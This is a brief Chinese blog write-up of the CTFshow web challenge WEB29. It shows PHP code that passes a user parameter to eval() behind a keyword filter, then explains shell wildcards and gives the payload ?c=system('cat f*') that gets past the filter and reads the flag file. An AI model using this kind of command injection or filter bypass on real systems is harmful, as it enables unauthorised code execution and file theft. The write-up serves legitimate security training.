CTFSHOW WEB入门 命令执行

WEB29

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

首先用ls查看当前目录

看见flag.php文件

由于过滤了flag,可以使用通配符进行绕过
在linux系统中 有一些通配符

    匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
    ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
    [abcd] 匹配abcd中任何一个字符
    [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
?c=system('cat f*')

 

得到查看源代码得到flag

posted @ 2021-04-20 15:05  zap162  阅读(24)  评论(0)    收藏  举报